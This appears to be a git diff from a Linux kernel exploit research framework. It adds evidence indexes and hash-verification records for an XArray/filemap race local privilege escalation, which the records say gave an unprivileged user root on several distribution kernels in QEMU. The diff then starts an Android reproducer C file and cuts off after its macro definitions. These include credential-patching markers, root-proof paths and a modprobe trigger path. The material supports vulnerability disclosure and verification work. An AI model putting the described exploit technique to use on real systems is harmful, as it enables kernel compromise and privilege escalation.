"This establishes source-chain completeness and controlled execution on exact upstream v5.17, not a natural production trigger or unmodified-kernel reliability." + }, + "public_sources": [ + "https://syzkaller.appspot.com/bug?extid=b72767277f29b6407083", + "https://syzkaller.appspot.com/ai_job?id=a01c56bd-74d0-411c-afb4-ee6f0cb6cb61", + "https://lkml.iu.edu/2609.0/09691.html", + "https://lkml.iu.edu/2609.0/10627.html" + ], + "manifests": [ + { + "path": "evidence/ubuntu-7.0.0-30-lpe-evidence.json", + "sha256": "c12c71b934516fd213cc6e96bfaeebe6b7ca44faabdd0288b73569e2f09342df", + "valid_json": true, + "historical_path": "external-historical/ubuntu-7.0.0-30-lpe-evidence.json", + "availability": "included" + }, + { + "path": "evidence/fedora-7.1.10-lpe-evidence.json", + "sha256": "c3e6eef6cf4e5b3ba475111501577f390e8971b0c42b81b69e64b8c6a1b19319", + "valid_json": true, + "historical_path": "external-historical/fedora-7.1.10-lpe-evidence.json", + "availability": "included" + }, + { + "path": "evidence/arch-7.1.11-lpe-evidence.json", + "sha256": "cddad36280d36fc2ec8df3e8d83c9e8c4aca5284299b1b5d67328702042588e0", + "valid_json": true, + "historical_path": "external-historical/arch-7.1.11-lpe-evidence.json", + "availability": "included" + }, + { + "path": "evidence/alpine-6.18.48-lpe-evidence.json", + "sha256": "cd83b11fb9be8b773d582fc8ae122578ac262a50877255e1b73e6234ba5803d6", + "valid_json": true, + "historical_path": "external-historical/alpine-6.18.48-lpe-evidence.json", + "availability": "included" + }, + { + "path": "evidence/debian-6.18.15-lpe-evidence.json", + "sha256": "9cf73b432d2da56256427d511ad5a319e4076a1447eb8c30014a73d3360448bd", + "valid_json": true, + "historical_path": "external-historical/debian-6.18.15-lpe-evidence.json", + "availability": "included" + }, + { + "path": "evidence/v15-source-recovery.json", + "sha256": "0722dd0c00f7ae958167c9d358ad337f8f60511187672dd9b25951763c126db1", + "valid_json": true, + "historical_path": "external-historical/v15-source-recovery.json", + "availability": "included" + }, + { + "path": "evidence/v16-source-recovery.json", + "sha256": "def4438e9738cb05f8d3692d3eee049e7def207a4e04fbf513fb926af5e8db35", + "valid_json": true, + "historical_path": "external-historical/v16-source-recovery.json", + "availability": "included" + }, + { + "path": "evidence/v17-source-recovery.json", + "sha256": "58728605caa7d10807d02e930f4338d1dfa2a55ae6ea7163bb2d6e5f807df8b6", + "valid_json": true, + "historical_path": "external-historical/v17-source-recovery.json", + "availability": "included" + } + ], + "report": { + "historical_path": "external-historical/RESEARCH-xarray-filemap-local-root.md", + "sha256": "0daedd8c20684040d80e93706f1bf6b4db4667887740cebc96d3e86195a12513", + "availability": "unavailable", + "limitation": "The historical report was not found by exact basename in the supplied readable export; current bounded reports are VULNERABILITY-REPORT.md and KERNEL-SECURITY-REPORT.txt." + }, + "independent_verification": { + "record": "evidence/research-review-2026-09-05.json", + "record_sha256": "767b860181acc101cc9878aff9bdbfa65fe3ab9da3d57a254127ab4e90076e2a", + "review": "review/dirty-crow-review-2026-09-05-portable.md", + "review_sha256": "0bbb758f81b7b4eb56a8c67369e4fefe0e9d0f9b95f528f5356532494669f02a", + "selected_hash_audit": "review/evidence-hash-audit-2026-09-05.json", + "selected_hash_audit_sha256": "4851a877c4cb7d2bfa5a34b706e29fbe45ee92e41b885a7f3bc40038c5336619", + "availability": "included", + "evidence_class": "automated_static_cross_review", + "independent_execution": false, + "limitation": "The review did not run the programs or independently reproduce the vulnerability." + }, + "snapshot_id": "dirty-crow-evidence-index-2026-09-05-android-api34-corruption-r3", + "supersedes": { + "snapshot": "dirty-crow-evidence-index-2026-09-05-android-api34-corruption-r2", + "reference": "history/xarray-lpe-evidence-index-android-api34-r2.json", + "sha256": "3ae23c6ad2dc9b733705128902e27bdace629a0c6e2f4c8fcead7329e537bfcc", + "availability": "included_in_focused_and_full_exports", + "limitation": "Retained as the immediately preceding kernel-corruption index; use this document and current_claim_catalog for current claims.", + "earlier_history": { + "snapshot": "dirty-crow-evidence-index-2026-09-05-android-api34-r1", + "reference": "history/xarray-lpe-evidence-index-android-api34-r1.json", + "sha256": "8f200091777f1a4efd62d88c0cd193ea254d9d41d264c9c5d58299596736ba73", + "availability": "included_in_focused_and_full_exports", + "limitation": "Retained as the immediately preceding runtime-negative index; use this document and current_claim_catalog for current claims.", + "earlier_history": { + "snapshot": "dirty-crow-evidence-index-2026-09-05-v420-live", + "reference": "history/xarray-lpe-evidence-index-v420-live.json", + "sha256": "673b5750f2c2a31eb8a62fe544aada2c3c473c3a85da7925d6d26ce5e6dc8f3f", + "availability": "included_in_focused_and_full_exports", + "limitation": "Retained as earlier history; use this document and current_claim_catalog for current claims.", + "earlier_history": { + "snapshot": "pre-catalog current-looking xarray-lpe-evidence-index.json", + "reference": "history/xarray-lpe-evidence-index-pre-catalog.json", + "sha256": "dcbf73ae85e59739f4a7ca39102dcedb0cbc80468d992b68ebc496474bfcccc1", + "availability": "included_in_focused_and_full_exports; intentionally omitted from the signed bundle because it retains machine-specific historical locators", + "limitation": "Retained only as history; use current_claim_catalog for current claims." + } + } + } + }, + "evidence_classes": { + "source_static": "Code/history establishes lineage or source reachability only.", + "deterministic_selftest": "A controlled invariant test recorded fail-before/pass-after behavior; not an LPE result.", + "runtime_exact_target": "Recorded execution applies only to named bytes and geometry.", + "runtime_controlled_instrumentation": "Recorded execution required an explicit scheduling intervention; it proves controlled code-path reachability, not unmodified-kernel reliability.", + "candidate_fix": "Candidate behavior; no accepted or shipped fix is inferred.", + "automated_static_cross_review": "Portable review of records and source; not independent execution.", + "runtime_negative": "Recorded execution reached the stated target boundary but did not observe the primitive or impact within the recorded bounded trial; not evidence of safety.", + "runtime_kernel_corruption": "Recorded exact-target execution violated a kernel invariant or produced kernel memory corruption, but did not establish controlled exploitation or privilege escalation." + }, + "current_claim_catalog": { + "snapshot_id": "dirty-crow-claims-2026-09-05-r6", + "catalog": "profiles/claims.json", + "catalog_sha256": "c801a5f516f2b7e695f9a130934088b523854b7705e5130466c1f362e7a7e80f", + "overview": "CURRENT-CLAIMS.md", + "overview_sha256": "9735fb6d6dda450ed5d450b91a111f81bac0090366f8a5dc0113dc5101a7ed74", + "availability": "included" + }, + "android_runtime_kernel_corruption": { + "classification": "runtime_kernel_corruption", + "target": "Google APIs API 34 revision 13 x86_64 emulator; Linux 6.1.23-android14-4-00257-g7e35917775b8-ab9964412", + "app_identity": "uid/gid 10190; u:r:untrusted_app:s0:c190,c256,c512,c768; SELinux enforcing; seccomp mode 2; no_new_privs=1; zero capabilities", + "profile": "profiles/android-emulator-api34-r13-6.1.23-x86_64-4k.json", + "profile_sha256": "a3bcf45fd7ef45b2c7dce7998179e746859c2f354a71095454a894d8e79f85be", + "verification": "evidence/android-api34-6.1.23-untrusted-app-kernel-corruption-verification.json", + "verification_sha256": "a687c4a0ddb0ac00018cea59f19f8fed5b8ea6db816c61f1dc247d0d8601b070", + "observation": { + "clean_wipe": true, + "source_fault_lower_index": "0x100", + "stale_mapped_page_index": "0xff", + "final_userspace_checkpoint_zero_based": 13200, + "process_survived": false, + "guest_rebooted": true, + "kernel_diagnostics": [ + "BUG: Bad page cache in process xarr-lpe-main", + "BUG: unable to handle page fault for address 00000000098fe067", + "Kernel panic - not syncing: Fatal exception in interrupt" + ] + }, + "source": "reproducer/android-api34/filemap_xarray_android_v21.c", + "source_sha256": "2546beb160e7b2d1fda7ddf3a2bded88835f8902cd83a161fd2e6ba1cbd90601", + "apk": "artifacts/dirty-crow-android-api34-x86_64-activegate-v21.apk", + "apk_sha256": "7a69752c90d15a61093f048d92f6194f3f638b67718ad523efcee988efdfb68a", + "historical_runtime_negative": { + "verification": "evidence/android-api34-6.1.23-untrusted-app-verification.json", + "verification_sha256": "8bc060bdac0390afa0b0c68516764e1f9555b9b6c3ffb237ed7015e1b01fd0f7" + }, + "interpretation": "Exact app-domain kernel-corruption evidence from one clean-boot run. No controlled page-table primitive, physical-memory read/write, credential change, root, reliability estimate, safety conclusion, candidate-fix result, ARM64 result, or physical-device result. A separate v22 detector completed at least 51,001 rounds without observing the hypothesized controlled one-PTE spill before operator termination; this bounded stochastic negative does not negate the v21 corruption observation.", + "controlled_spill_hypothesis_trial": { + "classification": "runtime_negative", + "verification": "evidence/android-api34-6.1.23-untrusted-app-controlled-spill-v22-verification.json", + "verification_sha256": "d3352135ac8b9df12538505dff9cf4fba1b78e57bfcba5578e9428b89fcd12e9", + "minimum_completed_rounds": 51001, + "result": "No controlled PTE-spill, privilege-escalation, crash, or userspace terminal marker was observed before operator termination.", + "limitation": "Bounded stochastic negative for one detector hypothesis; not evidence of safety, not a repetition of the v21 corruption outcome, and not current target-classification evidence.", + "active_gate_hit_rounds_lower_bound": 48460, + "active_gate_hit_fraction_of_logged_prefix": 0.950177 + } + } +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/xarray-lpe-evidence-index-portable.json b/dirty-crow-xarray-lpe/framework/profiles/xarray-lpe-evidence-index-portable.json new file mode 100644 index 0000000..5edf8f1 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/xarray-lpe-evidence-index-portable.json @@ -0,0 +1,148 @@ +{ + "schema_version": 1, + "title": "XArray/filemap ordinary-user local-root evidence index", + "status": "confirmed", + "severity": "high", + "cvss_3_1": { + "score": 7, + "vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" + }, + "cwe": [ + "CWE-362", + "CWE-682" + ], + "strict_claim": "On the exact tested x86_64 Ubuntu 7.0.0-30, Fedora 7.1.10-200.fc44, Arch 7.1.11.arch1-1, Alpine linux-lts 6.18.48-r0, and optional Debian-backports 6.18.15 package-member kernel images under recorded QEMU/TCG geometries, an ordinary uid/gid 65534 process with no effective capabilities and no_new_privs=1 used an XArray/filemap race to obtain a controlled selected physical-RAM write, rewrite its own credentials in the initial user namespace, read a pre-existing root-only file, and create a root-owned mode-0400 file.", + "boundaries": [ + "local privilege escalation, not remote code execution", + "High, not Critical", + "root cause/crash and candidate fix are public syzbot material; no zero-day claim", + "exact package-member images and QEMU geometries, not universal Linux or full default-install reliability", + "four of seven default matrix rows positive; Debian 6.18.15 is optional backports", + "fixed negative is supportive, not decisive prevention proof" + ], + "coverage": { + "default_matrix_positive_rows": [ + "Ubuntu", + "Fedora", + "Arch", + "Alpine" + ], + "default_matrix_positive_count": 4, + "default_matrix_rows": 7, + "additional_optional_positive": "Debian trixie-backports 6.18.15", + "complete_positive_logs": 11 + }, + "exact_poc_sources": [ + { + "variant": "v15", + "path": "external-historical/filemap_xarray_lts_full_exploit_v15_recovered.c", + "sha256": "20342e1ab6e9a059793ce63fd14ba0ef40afb38b36d14d01c1a5d00011318507", + "binary_sha256": "9b145b1ae24f6d07b62c52f9ce38798f52c6e8dafb34d22d163c432940d3efb4", + "recovery": "external-historical/v15-source-recovery.json" + }, + { + "variant": "v16", + "path": "external-historical/filemap_xarray_lts_full_exploit_v16_recovered.c", + "sha256": "d73ff3adff7048fc864f4ad311a5d2b32a0e8ec883650e27ae6b00705aebabcf", + "binary_sha256": "4d0a1f25c202252863c95aac6b956c620bc0a32be05facce0c16cb6a203eb4c0", + "recovery": "external-historical/v16-source-recovery.json" + }, + { + "variant": "v17", + "path": "external-historical/filemap_xarray_lts_full_exploit_v17_recovered.c", + "sha256": "c058c917874d8ebcd40a451631e0a319d121febae0eebd2e0939ce434c4f450f", + "binary_sha256": "5aa07d0854261475c4840b87de21d7d2387d7d41afdeb820af4ad7452b653544", + "recovery": "external-historical/v17-source-recovery.json" + }, + { + "variant": "clean launcher", + "path": "external-historical/filemap_xarray_init.c", + "sha256": "3f22da0c5174dc16782a6ca1eb9a9854d46823441f6278e7cf366b2f2e1dabbf", + "binary_sha256": "447d896b6560e8d745dec12be9bdb454e0296eb2d768628c488e6785f0172aa0" + } + ], + "decisive_runtime_proof": { + "path": "external-historical/lpe-proof-fedora-7.1.10-200.fc44-v17-source-exact-a.log", + "sha256": "b4f741fe8d74e7163f839d5302ad959498454f607352adcb4e1f369e9367d317", + "race_round": 4089, + "markers": [ + "uid/gid 65534; nnp=1; CapEff=0", + "PAGE_TABLE_PRIMITIVE", + "ARBITRARY_PHYSICAL_RW write_ok=1", + "CRED_PATCH", + "all IDs 0; full CapEff", + "root-only read", + "root-owned mode-0400 create", + "clean S5 powerdown" + ] + }, + "controls": { + "fixed_5000": { + "path": "external-historical/lpe-proof-debian-6.18.15-v17-source-fixed-5000-control.log", + "sha256": "576e7efefa52eb5457afe03fc4c3b5cc80c8f74b0984d444adab54bf949219b3", + "result": "PRIMITIVE_NOT_OBSERVED; child status 4; clean powerdown" + }, + "vulnerable_5000_miss": { + "path": "external-historical/lpe-proof-debian-6.18.15-v17-source-exact-a.log", + "sha256": "7e8f501eebb48b2b55748f1820e998082149af25d84d237d490187195a75f7e2" + }, + "interpretation": "stochastic misses on both builds plus compiler/config drift prevent a decisive differential" + }, + "candidate_patch": { + "path": "external-historical/xarray-index-regression-fix.patch", + "sha256": "122a1cdfb118f9d442fae9e4d5668a6020f5f58cf517da1128908c74c2d8c31b", + "status": "public syzbot AI-generated candidate; not accepted upstream/vendor when checked" + }, + "public_sources": [ + "https://syzkaller.appspot.com/bug?extid=b72767277f29b6407083", + "https://syzkaller.appspot.com/ai_job?id=a01c56bd-74d0-411c-afb4-ee6f0cb6cb61" + ], + "manifests": [ + { + "path": "external-historical/ubuntu-7.0.0-30-lpe-evidence.json", + "sha256": "c12c71b934516fd213cc6e96bfaeebe6b7ca44faabdd0288b73569e2f09342df", + "valid_json": true + }, + { + "path": "external-historical/fedora-7.1.10-lpe-evidence.json", + "sha256": "c3e6eef6cf4e5b3ba475111501577f390e8971b0c42b81b69e64b8c6a1b19319", + "valid_json": true + }, + { + "path": "external-historical/arch-7.1.11-lpe-evidence.json", + "sha256": "cddad36280d36fc2ec8df3e8d83c9e8c4aca5284299b1b5d67328702042588e0", + "valid_json": true + }, + { + "path": "external-historical/alpine-6.18.48-lpe-evidence.json", + "sha256": "cd83b11fb9be8b773d582fc8ae122578ac262a50877255e1b73e6234ba5803d6", + "valid_json": true + }, + { + "path": "external-historical/debian-6.18.15-lpe-evidence.json", + "sha256": "9cf73b432d2da56256427d511ad5a319e4076a1447eb8c30014a73d3360448bd", + "valid_json": true + }, + { + "path": "external-historical/v15-source-recovery.json", + "sha256": "0722dd0c00f7ae958167c9d358ad337f8f60511187672dd9b25951763c126db1", + "valid_json": true + }, + { + "path": "external-historical/v16-source-recovery.json", + "sha256": "def4438e9738cb05f8d3692d3eee049e7def207a4e04fbf513fb926af5e8db35", + "valid_json": true + }, + { + "path": "external-historical/v17-source-recovery.json", + "sha256": "58728605caa7d10807d02e930f4338d1dfa2a55ae6ea7163bb2d6e5f807df8b6", + "valid_json": true + } + ], + "report": { + "path": "external-historical/RESEARCH-xarray-filemap-local-root.md", + "sha256": "0daedd8c20684040d80e93706f1bf6b4db4667887740cebc96d3e86195a12513" + }, + "independent_verification": "external-review/VerifyXArrayLPE", + "portability_note": "Machine-specific source locations were normalized to external-historical labels for export. Statements, recorded results, and artifact hashes are unchanged; this transformation is not a runtime re-verification." +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/xarray-lpe-final-verification-portable.json b/dirty-crow-xarray-lpe/framework/profiles/xarray-lpe-final-verification-portable.json new file mode 100644 index 0000000..3ac6ce0 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/xarray-lpe-final-verification-portable.json @@ -0,0 +1,283 @@ +{ + "schema_version": 1, + "title": "Final verification for XArray/filemap LPE evidence package", + "passed": true, + "check_count": 35, + "failed_checks": [], + "checks": [ + { + "name": "source hash v15", + "passed": true, + "details": { + "path": "external-historical/filemap_xarray_lts_full_exploit_v15_recovered.c", + "expected": "20342e1ab6e9a059793ce63fd14ba0ef40afb38b36d14d01c1a5d00011318507" + } + }, + { + "name": "source hash v16", + "passed": true, + "details": { + "path": "external-historical/filemap_xarray_lts_full_exploit_v16_recovered.c", + "expected": "d73ff3adff7048fc864f4ad311a5d2b32a0e8ec883650e27ae6b00705aebabcf" + } + }, + { + "name": "source hash v17", + "passed": true, + "details": { + "path": "external-historical/filemap_xarray_lts_full_exploit_v17_recovered.c", + "expected": "c058c917874d8ebcd40a451631e0a319d121febae0eebd2e0939ce434c4f450f" + } + }, + { + "name": "source hash clean launcher", + "passed": true, + "details": { + "path": "external-historical/filemap_xarray_init.c", + "expected": "3f22da0c5174dc16782a6ca1eb9a9854d46823441f6278e7cf366b2f2e1dabbf" + } + }, + { + "name": "report hash", + "passed": true, + "details": { + "path": "external-historical/RESEARCH-xarray-filemap-local-root.md", + "sha256": "0daedd8c20684040d80e93706f1bf6b4db4667887740cebc96d3e86195a12513" + } + }, + { + "name": "candidate patch hash", + "passed": true, + "details": { + "path": "external-historical/xarray-index-regression-fix.patch", + "sha256": "122a1cdfb118f9d442fae9e4d5668a6020f5f58cf517da1128908c74c2d8c31b", + "status": "public syzbot AI-generated candidate; not accepted upstream/vendor when checked" + } + }, + { + "name": "positive log 1", + "passed": true, + "details": { + "path": "external-historical/lpe-proof-ubuntu-7.0.0-30-v16-1g-a.log", + "expected_sha256": "32c34fcba49c7df7b1bbb247872eb7a8f19d0556a37af23f80281aa014984d7f", + "actual_sha256": "32c34fcba49c7df7b1bbb247872eb7a8f19d0556a37af23f80281aa014984d7f" + } + }, + { + "name": "positive log 2", + "passed": true, + "details": { + "path": "external-historical/lpe-proof-ubuntu-7.0.0-30-v16-1g-b.log", + "expected_sha256": "7afff89ab46890fc844a326d63a04f660873da6d9745e68d0dbca07a8930d581", + "actual_sha256": "7afff89ab46890fc844a326d63a04f660873da6d9745e68d0dbca07a8930d581" + } + }, + { + "name": "positive log 3", + "passed": true, + "details": { + "path": "external-historical/lpe-proof-fedora-7.1.10-200.fc44-v17-1g-a.log", + "expected_sha256": "18728e15cac5bc9e71f943062d25760c06916427f0622933bdbe9765f32e88ed", + "actual_sha256": "18728e15cac5bc9e71f943062d25760c06916427f0622933bdbe9765f32e88ed" + } + }, + { + "name": "positive log 4", + "passed": true, + "details": { + "path": "external-historical/lpe-proof-fedora-7.1.10-200.fc44-v17-1g-b.log", + "expected_sha256": "d01b434f64068abf01562bbf687bd9c6179829f4052fd612b73b08d13d4a587a", + "actual_sha256": "d01b434f64068abf01562bbf687bd9c6179829f4052fd612b73b08d13d4a587a" + } + }, + { + "name": "positive log 5", + "passed": true, + "details": { + "path": "external-historical/lpe-proof-fedora-7.1.10-200.fc44-v17-source-exact-a.log", + "expected_sha256": "b4f741fe8d74e7163f839d5302ad959498454f607352adcb4e1f369e9367d317", + "actual_sha256": "b4f741fe8d74e7163f839d5302ad959498454f607352adcb4e1f369e9367d317" + } + }, + { + "name": "positive log 6", + "passed": true, + "details": { + "path": "external-historical/lpe-proof-arch-7.1.11-arch1-1-v17-1g-a.log", + "expected_sha256": "3e9c948ff45c4a8667ec9409af8e3cb5f0c4e695fc13da3286cd826ceb677c32", + "actual_sha256": "3e9c948ff45c4a8667ec9409af8e3cb5f0c4e695fc13da3286cd826ceb677c32" + } + }, + { + "name": "positive log 7", + "passed": true, + "details": { + "path": "external-historical/lpe-proof-arch-7.1.11-arch1-1-v17-1g-b.log", + "expected_sha256": "e5e08507378f5f85ab2da9a75c6b350143e705c1239d3fbba22cd3570f94e8ed", + "actual_sha256": "e5e08507378f5f85ab2da9a75c6b350143e705c1239d3fbba22cd3570f94e8ed" + } + }, + { + "name": "positive log 8", + "passed": true, + "details": { + "path": "external-historical/lpe-proof-alpine-6.18.48-v15-a.log", + "expected_sha256": "e43d20813ee45b754f4ff3b93f0437825db1d8eaf5f7542f8428a74627103901", + "actual_sha256": "e43d20813ee45b754f4ff3b93f0437825db1d8eaf5f7542f8428a74627103901" + } + }, + { + "name": "positive log 9", + "passed": true, + "details": { + "path": "external-historical/lpe-proof-alpine-6.18.48-v20-repeat-b.log", + "expected_sha256": "24c1351594031a8fdfbb954764ac3763972e8614877fc02f9bbe1a7d7138559e", + "actual_sha256": "24c1351594031a8fdfbb954764ac3763972e8614877fc02f9bbe1a7d7138559e" + } + }, + { + "name": "positive log 10", + "passed": true, + "details": { + "path": "external-historical/lpe-proof-debian-6.18.15-v15-a.log", + "expected_sha256": "9f237e0335998e12d7e80ef4740dcb567a2aa13897d1e41aa967742b19fb1e24", + "actual_sha256": "9f237e0335998e12d7e80ef4740dcb567a2aa13897d1e41aa967742b19fb1e24" + } + }, + { + "name": "positive log 11", + "passed": true, + "details": { + "path": "external-historical/lpe-proof-debian-6.18.15-v15-b.log", + "expected_sha256": "e27242326c05df634d2d6a1892238be596ff4d874a8289b75f341d6b2822d5a6", + "actual_sha256": "e27242326c05df634d2d6a1892238be596ff4d874a8289b75f341d6b2822d5a6" + } + }, + { + "name": "positive log count", + "passed": true, + "details": { + "count": 11 + } + }, + { + "name": "fresh proof marker EXPLOIT_IDENTITY uid=65534", + "passed": true, + "details": { + "marker": "EXPLOIT_IDENTITY uid=65534" + } + }, + { + "name": "fresh proof marker nnp=1", + "passed": true, + "details": { + "marker": "nnp=1" + } + }, + { + "name": "fresh proof marker EXPLOIT_CAPS capget_rc=0 effective=0", + "passed": true, + "details": { + "marker": "EXPLOIT_CAPS capget_rc=0 effective=0" + } + }, + { + "name": "fresh proof marker PAGE_TABLE_PRIMITIVE round=4089", + "passed": true, + "details": { + "marker": "PAGE_TABLE_PRIMITIVE round=4089" + } + }, + { + "name": "fresh proof marker ARBITRARY_PHYSICAL_RW", + "passed": true, + "details": { + "marker": "ARBITRARY_PHYSICAL_RW" + } + }, + { + "name": "fresh proof marker write_ok=1", + "passed": true, + "details": { + "marker": "write_ok=1" + } + }, + { + "name": "fresh proof marker CRED_PATCH", + "passed": true, + "details": { + "marker": "CRED_PATCH" + } + }, + { + "name": "fresh proof marker ROOT_IDENTITY uid=0", + "passed": true, + "details": { + "marker": "ROOT_IDENTITY uid=0" + } + }, + { + "name": "fresh proof marker ROOT_PROOF open=1", + "passed": true, + "details": { + "marker": "ROOT_PROOF open=1" + } + }, + { + "name": "fresh proof marker POST_ROOT_CREATE created=1", + "passed": true, + "details": { + "marker": "POST_ROOT_CREATE created=1" + } + }, + { + "name": "fresh proof marker KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=65534 to_uid=0", + "passed": true, + "details": { + "marker": "KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=65534 to_uid=0" + } + }, + { + "name": "fresh proof marker reboot: Power down", + "passed": true, + "details": { + "marker": "reboot: Power down" + } + }, + { + "name": "fixed 5000 clean terminal", + "passed": true, + "details": {} + }, + { + "name": "fixed 5000 no fault/root marker", + "passed": true, + "details": {} + }, + { + "name": "byte-identical rebuild external-historical/v15-source-recovery.json", + "passed": true, + "details": { + "path": "external-historical/v15-source-recovery.json", + "binary_sha256": "9b145b1ae24f6d07b62c52f9ce38798f52c6e8dafb34d22d163c432940d3efb4" + } + }, + { + "name": "byte-identical rebuild external-historical/v16-source-recovery.json", + "passed": true, + "details": { + "path": "external-historical/v16-source-recovery.json", + "binary_sha256": "4d0a1f25c202252863c95aac6b956c620bc0a32be05facce0c16cb6a203eb4c0" + } + }, + { + "name": "byte-identical rebuild external-historical/v17-source-recovery.json", + "passed": true, + "details": { + "path": "external-historical/v17-source-recovery.json", + "binary_sha256": "5aa07d0854261475c4840b87de21d7d2387d7d41afdeb820af4ad7452b653544" + } + } + ], + "portability_note": "Machine-specific source locations were normalized to external-historical labels for export. Recorded checks, results, and hashes are unchanged; this transformation is not a runtime re-verification." +} diff --git a/dirty-crow-xarray-lpe/framework/pyproject.toml b/dirty-crow-xarray-lpe/framework/pyproject.toml new file mode 100644 index 0000000..f5266fa --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/pyproject.toml @@ -0,0 +1,23 @@ +[build-system] +requires = ["setuptools==80.9.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "dirty-crow-framework" +version = "0.1.0" +description = "Evidence-driven Linux XArray iterator vulnerability research framework" +requires-python = ">=3.11" +license = { text = "GPL-2.0-only" } +dependencies = [ + "tree-sitter==0.25.2", + "tree-sitter-c==0.24.1", +] + +[project.scripts] +dirty-crow = "dirtycrow.cli:main" + +[tool.setuptools] +packages = ["dirtycrow"] + +[tool.setuptools.package-data] +dirtycrow = ["*.c"] diff --git a/dirty-crow-xarray-lpe/framework/reproducer/android-api34/AndroidManifest.xml b/dirty-crow-xarray-lpe/framework/reproducer/android-api34/AndroidManifest.xml new file mode 100644 index 0000000..809bfae --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/reproducer/android-api34/AndroidManifest.xml @@ -0,0 +1,25 @@ + + + + + + + + + + + + + diff --git a/dirty-crow-xarray-lpe/framework/reproducer/android-api34/filemap_xarray_android_v18.c b/dirty-crow-xarray-lpe/framework/reproducer/android-api34/filemap_xarray_android_v18.c new file mode 100644 index 0000000..f246bd4 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/reproducer/android-api34/filemap_xarray_android_v18.c @@ -0,0 +1,1699 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef MADV_COLLAPSE +#define MADV_COLLAPSE 25 +#endif +#ifndef MAP_FIXED_NOREPLACE +#define MAP_FIXED_NOREPLACE 0x100000 +#endif + +#define PAGE_SIZE 4096UL +#define PMD_SIZE (2UL * 1024 * 1024) +#define PUD_SIZE (1024UL * 1024 * 1024) +#define SOURCE_ENTRY 2UL +#define SOURCE_SIZE (16UL * PAGE_SIZE) +#define SOURCE_PGOFF 256UL +#ifndef RACE_FILE_BASE_PGOFF +#define RACE_FILE_BASE_PGOFF 0UL +#endif +#if (RACE_FILE_BASE_PGOFF & 511UL) != 0 +#error RACE_FILE_BASE_PGOFF must be 512-page aligned +#endif +#define CORRUPT_FIRST_PMD 320UL +#define FAKE_PT_PAGES 192UL +#define SAFE_FAKE_PT_PAGES 64UL +#define HIGH_FAKE_PMD_OFFSET 64UL +#define HIGH_FAKE_PT_PAGES 128UL +#define PHYS_BASE_PFN 0x100UL +#ifndef PHYS_SCAN_LIMIT_MIB +#define PHYS_SCAN_LIMIT_MIB 5120UL +#endif +#define PHYS_SCAN_LIMIT_PFN \ + ((PHYS_SCAN_LIMIT_MIB * 1024UL * 1024UL) / PAGE_SIZE) +#define FAKE_WINDOW_SIZE (FAKE_PT_PAGES * PMD_SIZE) +#define FAKE_ALIAS_SIZE (FAKE_PT_PAGES * PAGE_SIZE) +#ifndef LAYOUT_CANDIDATES +#define LAYOUT_CANDIDATES 2U +#endif +#if LAYOUT_CANDIDATES < 2 || LAYOUT_CANDIDATES > 64 +#error LAYOUT_CANDIDATES must be between 2 and 64 +#endif +#define LAYOUT_PMD_SLOTS \ + ((LAYOUT_CANDIDATES * PUD_SIZE) / PMD_SIZE) +#define PUD_PMD_SLOTS (PUD_SIZE / PMD_SIZE) +#define DEFAULT_ROUNDS 20000 +#ifndef FAULT_THREADS +#define FAULT_THREADS 8 +#endif +#ifndef RACE_SOURCE_VIEWS +#define RACE_SOURCE_VIEWS 8 +#endif +#if RACE_SOURCE_VIEWS < 1 || RACE_SOURCE_VIEWS > 16 +#error RACE_SOURCE_VIEWS must be between 1 and 16 +#endif +#ifndef RACE_ROTATE_LAYOUT +#define RACE_ROTATE_LAYOUT 0 +#endif +#ifndef RACE_LAYOUT_CANDIDATE +#define RACE_LAYOUT_CANDIDATE 0 +#endif +#if RACE_LAYOUT_CANDIDATE >= LAYOUT_CANDIDATES +#error RACE_LAYOUT_CANDIDATE exceeds the candidate layout +#endif +#define MARKER_PAGES 32768UL +#define TLB_FLUSH_PAGES 128UL +#ifndef DELAY_PERIOD +#define DELAY_PERIOD 100U +#endif +#ifndef DELAY_STEP +#define DELAY_STEP 10U +#endif +#ifndef STARTUP_WAIT_ACTIVE +#define STARTUP_WAIT_ACTIVE 1 +#endif +#ifndef STARTUP_WAIT_ALL_WORKERS +#define STARTUP_WAIT_ALL_WORKERS 1 +#endif +#ifndef RACE_MEMBARRIER_SHOTS +#define RACE_MEMBARRIER_SHOTS 0 +#endif +#ifndef RACE_TIMER_NS +#define RACE_TIMER_NS 100000UL +#endif +#ifndef RACE_TIMERS_PER_WORKER +#define RACE_TIMERS_PER_WORKER 8 +#endif +#ifndef RACE_PIN_WORKERS +#define RACE_PIN_WORKERS 0 +#endif +#ifndef RACE_MEMBARRIER_WORKERS +#define RACE_MEMBARRIER_WORKERS 0 +#endif +#ifndef RACE_MUTATION_MODE +#define RACE_MUTATION_MODE 0 +#endif +#ifndef RACE_COLLAPSE_ATTEMPTS +#define RACE_COLLAPSE_ATTEMPTS 1 +#endif +#ifndef RACE_PROGRESS_INTERVAL +#define RACE_PROGRESS_INTERVAL 100U +#endif +#if RACE_PROGRESS_INTERVAL < 1 +#error RACE_PROGRESS_INTERVAL must be positive +#endif +#define MARKER_MAGIC "XARR-PHYS-MARK!" +#define ROOT_PROOF_PATH \ + "/data/data/dev.dirtycrow.probe/files/filemap-xarray-root-proof" +#define ROOT_PROOF_TEXT "filemap-xarray-root-proof" +#define POST_ROOT_PATH_PREFIX \ + "/data/data/dev.dirtycrow.probe/files/filemap-xarray-post-root" +#define POST_ROOT_TEXT "filemap-xarray-post-root" +#define MODPROBE_TRIGGER_PATH \ + "/data/data/dev.dirtycrow.probe/files/filemap-xarray-binfmt-trigger" +#define MODPROBE_PATH_ORIGINAL "/sbin/modprobe" +#define CAP_VALID_MASK_7_1 0x000001ffffffffffULL +#define ROOT_REQUIRED_CAPS ((1ULL << CAP_CHOWN) | \ + (1ULL << CAP_DAC_OVERRIDE) | \ + (1ULL << CAP_SETGID) | (1ULL << CAP_SETUID)) + +#define 